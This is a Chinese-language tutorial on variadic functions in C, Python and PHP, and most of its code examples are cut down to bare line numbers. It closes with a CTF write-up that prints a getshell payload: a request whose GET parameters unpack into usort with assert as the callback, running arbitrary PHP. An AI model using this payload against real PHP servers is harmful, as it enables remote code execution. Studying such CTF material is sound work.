可变参数函数
可变参数函数是指参数个数可变的函数,在函数声明和定义的时候并没有明确的指出函数需要的参数个数,具体有多少个参数,是在调用的时候确定的.
可变参数函数并不是什么新奇的东西,早在我们学c语言的时候,就见过,例如我们常用的printf()和scanf()函数.
printf() 的函数原型是
1 | int printf(const char* format,...); //至少要有一个参数 |
我们写下面的代码看一下:
1 |
|
我们都会用这样的函数,但是却没用自己动手写过可便参数的函数.
自己动手写可变参数的函数
在c语言中要实现一个可变参函数,需要用到一下的宏
1 | void va_start( va_list arg_ptr, prev_param ); |
这些宏定义在stdarg.h头文件中,所以在写可变参数函数的时候需要包含此头文件. gcc编译器使用内置宏间接实现变参宏,如#define va_start(v,l) __builtin_va_start(v,l)。因为gcc编译器需要考虑跨平台处理,而其实现因平台而异。
C调用约定下可使用va_list系列变参宏实现变参函数,此处va意为variable-argument(可变参数)。典型用法如下:
1 |
|
如下函数实现n个整数相加(n>=1),但是定义函数之前并不知道到底是几个数相加,代码如下
1 | int sum(int n, ...) //第一个参数表明有可变参数有多少个相加 |
python 中的可变参数函数
python中定义函数,可以使用args和*kwargs将不定量的参数传递给一个函数,args发送一个非键值对的可变数量的参数列表给一个函数,*kwargs允许你将不定长度的键值对(key,value), 作为参数传递给一个函数。
例子如下:
1 | #!/usr/bin/python |
最后的输出:
1 | arg1: one |
php中的可变参函数
php5.6引入了一个新特性,PHP中可以使用 func(...$arr)
这样的方式,将$arr
数组展开成多个参数,传入func函数。Manual
1 |
|
最后的输出:
1 | $req: 1; $opt: 0; number of params: 0 |
最后来看phithon的题目:
1 |
|
要求必须getshell
phithon 给出的标准答案是:
1 | POST /index.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1 |
$_GET变量 被展开为两个参数 [‘test’,’phpinfo();’]和assert,传入usort函数.usort函数第二个参数是回调函数assert,执行了第一个参数中的phpinfo(). 这样就可以达到getshell的效果.
reference
https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html